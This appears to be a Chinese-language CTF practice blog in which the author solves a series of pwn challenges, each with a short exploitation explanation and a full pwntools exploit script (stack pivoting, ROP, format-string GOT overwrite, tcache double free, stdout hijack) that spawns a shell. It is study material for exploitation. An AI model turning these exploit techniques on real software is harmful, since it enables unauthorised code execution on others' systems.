从零开始的 Pwner 生活

Arttnba3 练习帖刷题

小做一下, 就当刷题了. 之前看第一题就不会, 然后没继续…

后来自己跌跌撞撞学了这么久, 组会的时候 bb 问我跟没跟过, 我说没…

栈迁移. (怪不得当时我不会写, 上来就栈迁移, 当时只会最简单的 ROP, 我太菜了)

32 位参数在栈上, 但是进入函数时还压了个 ip, 伪造的时候要多考虑 4 字节. 又被这个点搞好了好久… 我是 sb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)

payload = b'a' * 0x20
io.sendafter(b'Welcome, my friend. What\'s your name?\n', payload)
io.recvuntil(b'Hello, ' + payload)
stack = u32(io.recv(12)[-4:])
success(f'leak stack: {hex(stack)}')

pause()

buf = stack - 0x38
leave_ret = 0x080485fd

payload = flat([
    p32(0),
    p32(elf.plt['system']),
    p32(0),
    p32(buf + 0x10),
    b'/bin/sh\x00',
])
payload = payload.ljust(0x28, b'\x00') + p32(buf) + p32(leave_ret)
io.send(payload)

io.interactive()

人都傻了.

begin() 栈上残留的数据可以在 check() 的第一次输入中当作 scanf 的参数, 于是获得了一次任意写. 写 got 表即可. (一开始 sb 往 data 里写 check 的那个数, 然后找怎么写第二个输入)

傻的地方在, 构造写 printf 的 got, 调试发现, 诶, 那个位置的数据变了, 变成一个 libc 代码段的地址了. 死活也不知道为什么 (当然现在也不知道为什么).

然后看了 a3 师傅的题解, 发现写 puts 的 got 就行. 试了一下, 还真是.

人都傻了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

io.sendlineafter(b'2.EXIT\n', b'1')

payload = b'a' * 104 + p32(elf.got['exit'])
io.sendlineafter(b'Show me your name : ', payload)
io.sendlineafter(b'Now try the First password : ', n2b(0x08048730))

io.interactive()

leak canary, ROP 执行 puts 泄漏栈上残留的 libc 地址, ROP. 挺常规的题.

就是不知道为什么自己写在栈上的 "/bin/sh", 用地址传给 system, 然后没通… 简单试了对齐, 貌似不是? 玄学.

换了 libc 里的字符串就通了. 玄学.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

io.sendafter(b'So can you tell me who you are?\n', b'a' * 0x41)
io.recvuntil(b'Wow.. ' + b'a' * 0x41)
canary = u32(b'\x00' + io.recv(3))
success(f'leak canary: {hex(canary)}')
stack = u32(io.recv(12)[-4:])
success(f'leak stack: {hex(stack)}')

stack_buf = stack + 4
payload  = b'b' * 0x40 + p32(canary) * 4
payload += flat([
    p32(elf.plt['puts']),
    p32(elf.sym['func']),
    p32(stack_buf),
])
io.sendafter(b'So what you come there for?\n', payload)
io.recvline()
libc.address = u32(io.recv(4)) - 0x18647
success(f'leak libc: {hex(libc.address)}')

bin_sh = next(libc.search(b'/bin/sh'))
io.sendafter(b'So can you tell me who you are?\n', b'a')
pause()
payload  = b'a' * 0x40 + p32(canary) * 4
payload += flat([
    p32(libc.sym['system']),
    p32(0xdeadbeef),
    p32(bin_sh)
])
io.sendafter(b'So what you come there for?\n', payload)

io.interactive()

一开始以为用 gets 不会补 0, 然后想溢出, 就写了个 dec. 后来发现直接 ROP 调用 puts 输出 got 表就可以 leak libc 了. 结果之前写的 dec 没判断 0 停止… 其实只要用 0 去绕过它的加密就行了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def one_gadgets():
    result = [int(i) + libc.address for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
    debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
    return result

io.sendlineafter(b'Input your choice!\n', b'1')

pop_rid_ret = 0x00400c83
payload = b'\x00' * 0x58 + flat([
    p64(pop_rid_ret),
    p64(elf.got['puts']),
    p64(elf.plt['puts']),
    p64(elf.sym['encrypt'])
])

io.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
io.recvlines(2)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success(f'leak libc: {hex(libc.address)}')

payload = b'\x00' * 0x58 + p64(one_gadgets()[6])
io.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

io.interactive()

ret2csu, 好像写奇怪了, 管他呢.

给了 mov rax, SYS_execve 的 gadget, 简单 ret2csu ROP.

主要是了解了一下 call 的用法, 比如 call rax, call [addr] 时用的是绝对地址, 而一般程序内调用函数用的 call 是相对地址.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

pause()
payload = p64(elf.sym['vuln']) * 3
io.send(payload)
stack = u64(io.recv(0x28)[-8:])
success(f'leak stack: {hex(stack)}')
bin_sh = stack - 0x118
ins_addr = bin_sh + 0x8

mov_rax_SYS_execve_ret = 0x004004e2
pop_rdi_ret = 0x004005a3
mov_rdx_r13_mov_rsi_r14_call_r12 = 0x00400576
pop_r12_r13_r14_r15 = 0x0040059c
pop_rbp_r14_r15_ret = 0x0040059f
syscall = 0x00400501

payload = b'/bin/sh\x00' + p64(mov_rax_SYS_execve_ret) + flat([
    p64(pop_rbp_r14_r15_ret),
    p64(1),
    p64(0),
    p64(0),
    p64(pop_r12_r13_r14_r15),
    p64(ins_addr),
    p64(0),
    p64(0),
    p64(0),
    p64(mov_rdx_r13_mov_rsi_r14_call_r12),
    p64(0),
    p64(0),
    p64(0),
    p64(0),
    p64(0),
    p64(0),
    p64(0),
    p64(pop_rdi_ret),
    p64(bin_sh),
    p64(syscall),
])
io.send(payload)
io.interactive()

还能 SROP, 没学过, 稍微看了一下, 应该不难, 下次再说.

fmt, 没开 PIE, 有 canary. 有后门. 溢出覆盖 canary 会调用函数 __stack_chk_fail, fmt 改 __stack_chk_fail 的 got 到后门即可.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)

payload = fmtstr_payload(6, {elf.got['__stack_chk_fail']: elf.sym['backdoor']})
payload = payload.ljust(0x30, b'\x00')
io.send(payload)
io.interactive()

给了 libc, 溢出可以覆盖指针, 任意地址读写. 读个 __envrion 然后 ROP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def op(x):
    io.sendafter(b'Your choice-> \n', n2b(x))

def leak():
    op(666)

def add(size, name):
    op(1)
    io.sendafter(b'Input string Length: \n', n2b(size))
    io.sendafter(b'Author name:\n', name)

def edit(name, content):
    op(2)
    io.sendafter(b'New Author name:\n', name)
    io.sendafter(b'New contents:\n', content)

def show():
    op(3)

leak()
libc.address = int(io.recvline(keepends=False), 16) - libc.sym['puts']
success(f'leak libc: {hex(libc.address)}')

add(0x100, b'a'*8 + p64(libc.sym['__environ']))
pause()
show()
stack = u64(io.recvline(keepends=False).ljust(8, b'\x00'))
success(f'leak stack: {hex(stack)}')

ra = stack - 0x110
bin_sh = next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc.address + 0x000340c0
ret = pop_rdi_ret + 1
paylaod = flat([
    p64(ret),
    p64(pop_rdi_ret),
    p64(bin_sh),
    p64(libc.sym['system']),
])
edit(b'a'*8 + p64(ra), paylaod)

io.interactive()

另一种方法应该是打 exit hook, 看给了 exit.

(看 a3 的题解后发现, 我打了个非预期? a3 师傅的两种方法一种是 exit hook, 另一种是 FSOP)

orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

io.recvuntil(b'Here is my gift: ')
libc.address = int(io.recv(14), 16) - libc.sym['puts']

buf = libc.address + 0x3c6000
ret = libc.address + 0x00082d58
pop_rdi_ret = libc.address + 0x0003a4b6
pop_rsi_ret = libc.address + 0x00082d57
pop_rdx_ret = libc.address + 0x00001b92

payload = flat([
    p64(pop_rdi_ret),
    p64(0),
    p64(pop_rsi_ret),
    p64(buf),
    p64(pop_rdx_ret),
    p64(0x40),
    p64(libc.sym['read']),
    p64(pop_rdi_ret),
    p64(buf),
    p64(pop_rsi_ret),
    p64(0),
    p64(libc.sym['open']),
    p64(pop_rdi_ret),
    p64(3),
    p64(pop_rsi_ret),
    p64(buf),
    p64(libc.sym['read']),
    p64(pop_rdi_ret),
    p64(2),
    p64(libc.sym['write']),
])
io.sendafter(b'Input something: ', payload)
io.sendafter(b'What\'s your name?', b'a' * 0x78 + p64(ret))
io.send('/flag')
io.interactive()

本来说你只禁用了 execave, 我就要玩个花的, 用 execaveat! shell 是有了, 但是运行程序其实还是用了 execave, get shell 也没用…

c++, uaf, new 分配的大小是 0x10, strdup 也是动态分配, 所以输入不超过 0xc (还有 4 个是可以复用的 presize 位置? fgets 以 \n 结束, strdup 还要考虑 0, 所以其实可以写的是 0xa 个字节, 但是也够了) 就可以分配到原来的 class B 上. class B 有个虚表指针, 覆盖它为一个写有后门函数的地址的地址. 虚表中没有后门函数, 得自己写. 写到 buf 的后 4 个字节就行.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)

io.send(p32(elf.sym['buf'] + 4) + p32(elf.sym['_Z8backdoorv']) + b'\n')
io.interactive()

c++ 真难看

又把 lea 当 mov 了…

最后一个 password_checker 函数中调用了一个二级指针函数. 第一级来源于参数:

1
2
3
4
5
6
.text:00000000004009EA                 mov     [rbp+var_68], rdi

.text:0000000000400A4A                 mov     rax, [rbp+var_68]
.text:0000000000400A4E                 mov     rax, [rax]
.text:0000000000400A51                 mov     rax, [rax]
.text:0000000000400A54                 call    rax

调用这个函数的部分如下. 第一个参数是栈上的地址, 注意这是 lea, 不是 mov.

1
2
3
4
5
6
7
8
9
.text:0000000000400B8E                 call    _Z16password_checkerPFvvE ; password_checker(void (*)(void))
.text:0000000000400B8E
.text:0000000000400B93                 mov     [rbp+var_130], rax

.text:0000000000400BC3                 lea     rax, [rbp+var_130]
.text:0000000000400BCA                 mov     rdx, rbx
.text:0000000000400BCD                 mov     rsi, rcx
.text:0000000000400BD0                 mov     rdi, rax
.text:0000000000400BD3                 call    _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ ;

地址中的值来源于第一个 password_checker 的返回值:

1
2
3
4
5
6
7
8
9
.text:0000000000400A79 ; __unwind {
.text:0000000000400A79                 push    rbp
.text:0000000000400A7A                 mov     rbp, rsp
.text:0000000000400A7D                 mov     [rbp+var_18], rdi
.text:0000000000400A81                 mov     [rbp+var_8], 0
.text:0000000000400A89                 lea     rax, [rbp+var_18]
.text:0000000000400A8D                 pop     rbp
.text:0000000000400A8E                 retn
.text:0000000000400A8E ; } // starts at 400A79

可以看到, 返回的是栈地址. 同样也是 lea 不是 mov, 这是第二级指针.

最后的结果就是, 栈上某个位置放了一个地址, call 这个地址.

在 read_password 函数中存在溢出, 调试找到哪里可以覆盖就行. 注意第二个 password_checker 中有 snprintf, 会覆盖掉栈上的值, 利用 \x00 截断.

分析栈布局? 不存在的! 只要不把 lea 认为是 mov 就不会看一个下午了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)

io.sendlineafter(b'Please enter username: ', b'admin')
payload  = b'2jctf_pa5sw0rd'.ljust(72, b'\x00') + p64(elf.sym['_ZN5Admin5shellEv'])
io.sendlineafter(b'Please enter password: ', payload)
io.interactive()

看了 a3 的 wp, 思路是对的, 可能是 libc 版本不一样没打出来 (没装那个奇怪的版本, 没去打远程, 懒了)

数组越界, 但是会排序, 所以要稍微布置一下. 另一个知识点, scanf 在遇到错误的格式会停止读入, 并 put 回 stream. 但是由于输入数字, +- 被当作是 “合法输入”, 即使后面没有跟数字, 但是他不会被 put 回去. 可以用这个性质来避免覆盖 canary.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './pwn'
libcname = '/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

io.sendafter(b'What your name :', b'a' * 0x1c)
io.recvuntil(b'a' * 0x1c)
libc.address = u32(io.recv(4)) - 0x1B2244
elf.address = u32(io.recv(4)) - 0x601
success(f'leak libc: {hex(libc.address)}')
success(f'leak proc: {hex(elf.address)}')
io.sendlineafter(b'How many numbers do you what to sort :', n2b(35))

for _ in range(24):
    io.sendlineafter(b'number : ', n2b(0))

io.sendlineafter(b'number : ', b'+')
for _ in range(7):
    io.sendlineafter(b'number : ', f'{0xf7000000}'.encode())

io.sendlineafter(b'number : ', f'{libc.sym["system"]}'.encode())
io.sendlineafter(b'number : ', f'{libc.sym["system"]}'.encode())
io.sendlineafter(b'number : ', f'{next(libc.search(b"/bin/sh"))}'.encode())

io.interactive()

我悟了这原来就是风水啊!

排布一下堆, 便可以覆盖指针, 获得任意读写.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './pwn'
libcname = '/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def op(x):
    io.sendlineafter(b'Action: ', n2b(x))

def add(size, name, length, text):
    op(0)
    io.sendlineafter(b'size of description: ', n2b(size))
    io.sendafter(b'name: ', name)
    io.sendlineafter(b'text length: ', n2b(length))
    io.sendafter(b'text: ', text)

def delete(idx):
    op(1)
    io.sendlineafter(b'index: ', n2b(idx))

def display(idx):
    op(2)
    io.sendlineafter(b'index: ', n2b(idx))

def update(idx, length, text):
    op(3)
    io.sendlineafter(b'index: ', n2b(idx))
    io.sendlineafter(b'text length: ', n2b(length))
    io.sendafter(b'text: ', text)

add(0x10, b'a' * 123, 0x10, b'1' * 0x10)
add(0x10, b'b' * 123, 0x10, b'2' * 0x10)
delete(0)
add(0x80, b'c' * 123, 0x80, b'3' * 0x80)
payload = flat([
    b'4' * 0x80,
    p32(0),
    p32(0x19),
    b'4' * 0x10,
    p32(0),
    p32(0x89),
    p32(elf.got['puts'])
])
update(2, len(payload), payload)
display(1)
io.recvuntil(b'description: ')
libc.address = u32(io.recv(4)) - libc.sym['puts']
success(f'leak libc: {hex(libc.address)}')

payload = flat([
    b'/bin/sh\x00',
    p32(libc.sym['system']),
])
update(1, len(payload), payload)

io.interactive()

做过

我是sb

知道是覆盖退出时会调用的指针. 第一步是构造多次回到 main 进行任意写

自己找到个在 _run_exit_handlers 找到一个, 但是这时 rbp = 0, main 函数中有相对 rbp 寻址 (比如 mov [rbp-0x8], rax), 这样就访问到错误的地址了…

main 结束后会执行 __libc_csu_fini, 它会调用 .fini.array 上注册过的析构函数的指针. 函数一共有两个, 可以把第一个改成 main, 第二个改成 __libc_csu_fini, 这样就可以重复执行 main 了.

需要注意的是, main 中通过一个 if(++uint8 == 1) 来判断是否应该进入, 由于会无限调用 main, 所以可以溢出到这里再进行. (我从 if 里面开始了, 导致没有保存 canary 而被检测到… 想了一万年不会了)

__libc_csu_fini 会把 rbp 设置成 .fini.array 地址, 而这个地址以及附近都是可写的, 所以可以用 leave 进行栈迁移, ROP 链写在 .fini.array 附近.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'

io = process(procname, stdin=PTY)
elf = ELF(procname)

def n2b(x):
    return str(x).encode()

main = 0x401B6D
fini_array = 0x4B40F0
libc_csu_fini = 0x402960

leave_ret = 0x401c4b
ret = 0x401c4c
syscall = 0x4022b4
pop_rdi_ret = 0x401696
pop_rsi_ret = 0x406c30
pop_rdx_ret = 0x446e35
pop_rax_ret = 0x41e4af

binsh = 0x4B9338

def write(addr, data):
    io.sendafter(b'addr:', n2b(addr))
    io.sendafter(b'data:', data)

def rop(addr, chain):
    for i, p in enumerate(chain):
        write(addr + i * 8, p64(p))

payload = flat([
    p64(libc_csu_fini),
    p64(main),
])
write(fini_array, payload)
write(binsh, b'/bin/sh\x00')

chain = [
    leave_ret,
    pop_rdi_ret, binsh,
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 59,
    syscall,
]
rop(fini_array+0x10, chain[2:])

payload = flat([
    p64(chain[0]),
    p64(chain[1]),
])
write(fini_array, payload)
io.interactive()

c++ 死一死, 本地都调不了.

tcache double free. 每次申请堆块后都会给堆地址, 且打印只有这里. leak libc 必须从这里着手.

考虑用 free 一个堆块进入 unsorted bin, 这样这个地方有 libc 地址了. 若这个堆块和某个在 tcache bin 中的堆块重叠, 那么实际上还把 next 改到了这个地址上. 接着 malloc 这个 chunk 即可分配到 libc 地址并打印实现 leak.

不过限制了大小在 fastbin 内, 所以需要自行伪造一个更大的 chunk 然后 free 掉. 可以直接伪造一个大于 0x400 的 (不在 tcache 管的范围内), 这样不用填 tcache.

先用 tcache dup 分配到某个 chunk header, 去修改 size 大于. 用一些大的堆给他填到 0x400 以上, 就可以成功伪造了. 然后可以再用一个 double free 去构造假的 next 链, 使得后续可以分配到 libc 地址. 或者在 fake chunk 内用堆重叠, 利用 unsorted bin 的切割机制, 直接将 next 覆盖.

补充

先放一下相关源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void *
__libc_malloc (size_t bytes)
{
  ...
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);

  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
#endif
  ...
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
  && tc_idx < mp_.tcache_bins
  && tcache->counts[tc_idx] < mp_.tcache_count)
      {
  tcache_put (p, tc_idx);
  return;
      }
  }
#endif
  ...
}

glibc 2.27 的 __libc_malloctcache_get 都只看 tcache entry 是不是 NULL, 不管 count 直接取, 这也是直接 malloc, free, free 能够成功的原因 (而不用去再构造 count). 同时, 这样 char 型的 count 会变成负数 (如这里是 1-2 = -1), 但是 free 的时候却和 size_t (unsigned long) 型的 mp_.tcache_count 进行比较, 导致 count 变成 255 > 7, 于是不进行 put.

所以最好是把 count 也构造了? 避免出现意想不到的事故?

在 2.27 版本下, 这其实能够用更少的 malloc 实现 stash.

2.31 及以上版本就看 count > 0 而不是 next != NULL 了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 25268)
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def one_gadgets():
    result = [int(i) + libc.address for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
    debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
    return result

def op(x):
    io.sendlineafter(b'choice > ', n2b(x))

def add(idx, size, data):
    op(1)
    io.sendlineafter(b'input the index\n', n2b(idx))
    io.sendlineafter(b'input the size\n', n2b(size))
    io.sendafter(b'now you can write something\n', data)

def remove(idx):
    op(2)
    io.sendlineafter(b'input the index\n', n2b(idx))

add(0, 0x10, b'\x00')
add(1, 0x10, b'\x00')
io.recvuntil(b'gift :')
heap = int(io.recvline(keepends=False), 16) & (~0xfff)
success(f'leak heap: {hex(heap)}')
remove(0)
remove(0)

add(2, 0x10, p64(heap + 0xe80))
add(3, 0x10, p64(heap + 0xe80))
add(4, 0x10, p64(0) + p64(0x481))
add(5, 0x20, b'\x00')
add(6, 0x20, b'\x00')
remove(5)
remove(6)
for i in range(8):
    add(i+7, 0x70, b'\x00')
add(15, 0x10, b'\x00')
remove(1)
add(16, 0x40, b'\x00')
add(17, 0x20, b'\x00')
add(18, 0x20, b'\x00')
io.recvuntil(b'gift :')
libc.address = int(io.recvline(keepends=False), 16) - 0x3ebca0
success(f'leak libc: {hex(libc.address)}')

add(19, 0x30, b'\x00')
remove(19)
remove(19)
add(20, 0x30, p64(libc.sym['__free_hook']))
add(21, 0x30, p64(libc.sym['__free_hook']))
add(22, 0x30, p64(one_gadgets()[1]))
remove(22)

io.interactive()

a3 师傅的做法是劫持堆上的 tcache_perthread_struct, 之前啥时候看到过一下, 然而全忘光了… 据说是板子, 马上就写博客记录…

怎么这次三个题全是撞 stdout… 谢谢 a3 师傅, 人撞傻了, 但是学废了.

只允许 add, free, 共 15 个 add, 大小在 0x78 以下. 没有输出, 所以需要打 stdout.

UAF, fastbin double free, 根据相对偏移去 partial overwrite, 分配到某个 chunk 的 header (记得伪造 next chunk size), 然后修改 size 去伪造出一个大于 0x80 的 chunk, free 掉进入 unsorted bin. 现在这个 chunk 的 fd 是 libc 地址了.

这里还造成了堆重叠, 可以配合修改 size 来 free 进任意的 fastbin. 然后修改 fd 到 fake chunk, 便可任意地址分配.

用相似的方法再去 partial overwrite, 使一个 0x70 的在 fastbin 中的 chunk 的 fd 变为 chunk at stdout nearby (类似于 chunk at malloc hook nearby, 也是一个 0x7f 当成 size, 并且正好 next chunk size 是 0x7f, 满足 malloc fastbin 的检查. 虽然可以用 unsorted bin 切割, 但是要留给后面用), 便可以劫持 stdout 了. 由于偏移较大, 至少有半个字节是不同的, 所以是需要 1/16 的机率爆破.

然后修改 magic 和 write base, 就能够 leak libc 了. 剩下用用 unsorted bin 切割出去的机制, 覆盖一个 freed chunk 的 fd, 两次 malloc 分配到 chunk at realloc nearby, 修改 realloc hook 和 malloc hook 配合 onegadget.

真难搞, 堆利用完全不熟练…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import subprocess
context(os='linux', arch='amd64')#, log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = None
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def one_gadgets():
    result = [int(i) + libc.address for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
    debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
    return result

def op(x):
    io.sendlineafter(b'You Choice:', n2b(x))

def add(size, content):
    op(1)
    io.sendlineafter(b'Size :', n2b(size))
    io.sendafter(b'Data :', content)

def free(idx):
    op(2)
    io.sendlineafter(b'Index :', n2b(idx))

def pwn():
    add(0x50, b'\x00' * 0x48 + p64(0x61))  # 0
    add(0x50, b'\x00' * 0x48 + p64(0x71))  # 1
    add(0x50, p64(0) + p64(0x71) + b'\x00' * 0x28 + p64(0x21))  # 2
    free(0)
    free(1)
    free(0)
    add(0x50, b'\x50')  # 3 = 0
    add(0x50, b'\x00')  # 4 = 1
    add(0x50, b'\x00')  # 5 = 0
    add(0x50, p64(0) + p64(0x71))   # 6 = fake chunk
    free(1)
    free(6)
    add(0x50, p64(0) + p64(0xa1))   # 7 = fake chunk
    free(1)             # 1.fd = libc
    free(6)
    add(0x50, p64(0) + p64(0x71) + b'\xdd\x25')   # 8 = fake chunk
    add(0x60, b'\x00')  # 9 = 1
    add(0x60, b'\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b'\x00')   # 10 = chunk at stdout nearby
    r = io.recvuntil(b'***********************')
    if b'\x7f' not in r:
        raise EOFError('Not found libc address')
    idx = r.find(b'\x7f') - 5
    libc.address = u64(r[idx:idx+8]) - 0x3C4600
    success(f'leak libc: {hex(libc.address)}')

while True:
    try:
        io = process(procname, stdin=PTY)
        pwn()
    except EOFError as e:
        io.close()
        continue
    except Exception as e:
        raise e

    free(1)
    free(6)
    add(0x50, p64(0) + p64(0x71) + p64(libc.sym['__realloc_hook'] - 0x1b))   # 11 = fake chunk
    add(0x60, b'\x00')  # 12 = 1
    add(0x60, b'\x00' * 0xb + p64(one_gadgets()[1]) + p64(libc.sym['realloc'] + 0x2))   # 13 = chunk at hook nearby
    op(1)
    io.sendlineafter(b'Size :', n2b(size))
    io.interactive()

上一题的弱化版. 有了上一题的练习, 这题稍微快一点了. 除了不用爆破 stdout 去 leak libc, 基本一模一样… off by one 和上一题的 partial overwrite 一样用, 相对偏移造成堆重叠.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def one_gadgets():
    result = [int(i) + libc.address for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
    debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
    return result

def op(x):
    io.sendlineafter(b'choice: ', n2b(x))

def add(size, content):
    op(1)
    io.sendlineafter(b'size?', n2b(size))
    io.sendafter(b'content:', content)

def edit(idx, content):
    op(2)
    io.sendlineafter(b'idx?', n2b(idx))
    io.sendafter(b'content:', content)

def show(idx):
    op(3)
    io.sendlineafter(b'idx?', n2b(idx))

def free(idx):
    op(4)
    io.sendlineafter(b'idx?', n2b(idx))

add(0x18, b'\x00')  # 0
add(0x18, b'\x00')  # 1
add(0x18, b'\x00')  # 2
edit(0, p64(0) * 3 + b'\x41')
free(1)
free(0)
free(2)
add(0x38, b'a' * 0x21)  # 0
show(0)
heap = u64(io.recvline(keepends=False)[-6:].ljust(8, b'\x00')) - 0x61
success(f'leak heap: {hex(heap)}')

